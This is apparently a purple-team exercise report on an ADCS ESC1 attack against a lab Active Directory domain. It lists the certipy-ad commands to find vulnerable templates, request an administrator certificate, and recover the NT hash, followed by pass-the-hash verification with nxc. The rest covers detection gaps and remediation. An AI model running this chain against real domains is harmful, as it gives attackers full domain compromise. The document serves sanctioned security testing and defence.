Document redacted:

ADCS ESC1 — ALDERAAN-CA-SRV (rebel.alliance)

Date: 2026-05-17
Attacker node: [internal-host] (lab-attacker)
Target: ALDERAAN-CA-SRV ([REDACTED]) — rebel.alliance ADCS server
Tool: certipy-ad 5.0.4
Scope: SAGA VMIDs 100–104, approved purple-team exercise

Attack Summary

Exploited ADCS misconfiguration ESC1: the ESC1 certificate template allows the enrollee to supply a Subject Alternative Name (SAN), enabling any domain user to request a certificate asserting any UPN — including [REDACTED]. The resulting certificate was used for PKINIT Kerberos authentication to retrieve the NT hash (UnPAC-the-hash), yielding domain admin capability without ever touching a credential store.

Step 1 — Enumerate Vulnerable Templates

certipy-ad find \
  -u '[email protected]' -p '[REDACTED]' \
  -dc-ip [REDACTED] -stdout

Findings:

CA: rebel-CA on ALDERAAN-CA-SRV ([LAB-CA])
Template ESC1: Enabled, Client Authentication, Enrollee Supplies Subject = True
Multiple other vulnerable templates present: ESC2, ESC3, ESC4, ESC6, ESC7, ESC8, ESC9, ESC11, ESC13

Step 2 — Request Certificate with Administrator SAN

certipy-ad req \
  -u '[email protected]' -p '[REDACTED]' \
  -ca 'rebel-CA' \
  -template 'ESC1' \
  -upn '[REDACTED]' \
  -dc-ip [REDACTED] \
  -target [REDACTED]

Result: Certificate issued, saved to administrator.pfx. Request ID: 3. UPN [email protected] confirmed in cert. No object SID (expected for ESC1).

Note: -target [REDACTED] (ALDERAAN-CA-SRV) required — DC IP alone fails RPC endpoint resolution for ICPR.

Step 3 — Authenticate with Certificate → NT Hash

certipy-ad auth \
  -pfx administrator.pfx \
  -dc-ip [REDACTED] \
  -domain rebel.alliance

Result: TGT obtained, NT hash retrieved for [email protected].
Hash artifact: retained in the internal evidence store.

Verification

nxc smb [REDACTED] -u administrator -H <hash> -d rebel.alliance
# → Pwn3d! (ALDERAAN-CA-SRV)
nxc smb [REDACTED] -u administrator -H <hash> -d rebel.alliance
# → Pwn3d! (ALDERAAN-DC DC)

Full rebel.alliance domain administrator access confirmed via PtH.

Blue Team Detection Assessment

Wazuh (ALDERAAN-CA-SRV agent 005 — active)

Expected: EID 4886 (Certificate Services received a certificate request) → Wazuh rule 100050/100051
Status: Wazuh agent active on ALDERAAN-CA-SRV; rule 100050 deployed (MED-1 session). Direct alert verification blocked — Wazuh indexer ([REDACTED]) not reachable from [internal-host] network segment.
Assessment: Rule should fire. Manual verification required from within SAGA VLAN or via Wazuh dashboard.

Malcolm / Arkime

Expected: Suricata SID 1000050 (LDAP CA query) if saga-suricata.rules loaded; Zeek traffic for cert request
Status: ALDERAAN-CA-SRV sends 0 winlog documents to Malcolm. Only DS-COMMAND-DC is configured for WEF→Malcolm forwarding.
Gap: ALDERAAN-CA-SRV, CORUSCANT-DC, DS-WEAPONS-SRV, ALDERAAN-DC not forwarding Windows Events to Malcolm. Suricata network detection still possible if ALDERAAN-CA-SRV traffic traverses Malcolm-monitored interface.

Detection Gap Identified

ALDERAAN-CA-SRV WEF → Malcolm: NOT CONFIGURED. All four non-DS-COMMAND-DC SAGA hosts require Winlogbeat/WEF configuration to send Security event logs to Malcolm for ADCS, MSSQL, Kerberos, and SMB event correlation.

Evidence Files

File	Description
`certipy-req.txt`	certipy find + req output
`certipy-auth.txt`	certipy auth output with hash recovery

Evidence path: internal evidence store.

KG References

AP-007: rebel.alliance ESC1 → administrator cert → NT hash → full domain compromise (see attack-paths.yaml)
ALDERAAN-CA-SRV host status: FULLY_COMPROMISED (via ADCS ESC1, 2026-05-17)
Technique: ADCS_ESC1 status → EXECUTED

Next Actions (Blue Team)

Configure Winlogbeat or WEF on ALDERAAN-CA-SRV (and CORUSCANT-DC, DS-WEAPONS-SRV, ALDERAAN-DC) to forward to Malcolm
Verify Wazuh rule 100050 fired for EID 4886 on ALDERAAN-CA-SRV
Add ESC1 template remediation: disable Enrollee Supplies Subject or restrict enrollment rights
Consider implementing Certificate Authority Web Enrollment audit controls